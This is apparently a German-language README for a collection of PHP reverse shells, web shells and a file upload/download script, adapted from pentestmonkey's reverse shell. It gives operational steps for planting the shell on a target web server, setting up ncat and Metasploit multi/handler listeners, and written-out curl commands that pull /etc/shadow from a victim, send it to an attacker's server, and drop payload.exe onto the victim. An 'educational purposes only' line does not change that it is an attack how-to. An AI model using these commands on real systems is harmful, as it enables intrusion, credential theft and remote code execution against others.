
PHP-Shells, die unter Linux, macOS und Windows funktionieren.
Nur eine kleine Auffrischung des beliebten PHP-Reverse-Shell-Skripts pentestmonkey/php-reverse-shell. Alle Anerkennung gebührt dem ursprünglichen Autor!
Funktioniert unter Linux und macOS mit /bin/sh sowie unter Windows mit cmd.exe. Das Skript erkennt das zugrunde liegende Betriebssystem automatisch.
Funktioniert sowohl mit ncat als auch mit multi/handler.
Getestet auf:
Prozess-Pipes unter Windows unterstützen keine asynchronen Operationen, daher funktionieren stream_set_blocking(), stream_select() und feof() nicht richtig, aber ich habe einen Workaround gefunden.
Nur für Bildungszwecke erstellt. Ich hoffe, es hilft weiter!
/src/reverse/php_reverse_shell.php erfordert PHP v5.0.0 oder höher.
/src/reverse/php_reverse_shell_older.php erfordert PHP v4.3.0 oder höher.
Ändere die IP-Adresse und die Portnummer in den Skripten bei Bedarf.
Kopiere /src/reverse/php_reverse_shell.php in das Web-Root-Verzeichnis deines Servers (z. B. nach /opt/lampp/htdocs/ bei XAMPP) oder lade es auf den Webserver deines Ziels hoch.
Rufe die Datei mit deinem bevorzugten Webbrowser auf.
Schau dir die einfache PHP-Web-Shell an, die auf HTTP-POST-Anfragen basiert.
Schau dir die einfache PHP-Web-Shell an, die auf HTTP-GET-Anfragen basiert. Du musst deine Befehle URL-encoden.
Schau dir die einfache PHP-Web-Shell v2 an, die auf HTTP-GET-Anfragen basiert. Du musst deine Befehle URL-encoden.
Schau dir das einfache PHP-Skript zum Hoch-/Herunterladen von Dateien an, das für den Datei-Upload auf HTTP-POST-Anfragen und für den Datei-Download auf HTTP-GET-Anfragen basiert.
Beim Herunterladen einer Datei musst du den Dateipfad URL-encoden.
Abhängig von der Serverkonfiguration funktioniert das Herunterladen einer Datei über den HTTP-GET-Anfrageparameter möglicherweise nicht immer; stattdessen musst du den Dateipfad im Skript fest einprogrammieren.
Rufe das Skript auf dem Webserver des Opfers mit deinem bevorzugten Webbrowser auf oder verwende cURL von deinem PC aus.
Lade eine Datei von deinem PC in das Web-Root-Verzeichnis des Servers hoch:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Lade eine Datei vom Server auf deinen PC herunter:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Wenn du deine anfänglichen Rechte innerhalb deiner Reverse Shell erweitert hast, hat dieses Skript möglicherweise nicht dieselben Rechte wie die Shell. In diesem Fall musst du die Datei zum Herunterladen möglicherweise in das Web-Root-Verzeichnis kopieren und die erforderlichen Leserechte setzen.
Führe die folgenden cURL-Befehle aus deiner PHP-Reverse-Shell heraus aus.
Lade eine Datei vom PC des Opfers in das Web-Root-Verzeichnis deines Servers hoch:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Lade eine Datei aus dem Web-Root-Verzeichnis deines Servers auf den PC des Opfers herunter:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Um einen Listener einzurichten, öffne deine bevorzugte Konsole unter Kali Linux und führe eines der folgenden Beispiele aus.
ncat-Listener einrichten:
ncat -nvlp 9000
multi/handler-Listener einrichten:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Abbildung 1 - Ncat

Abbildung 2 - Skript-Dump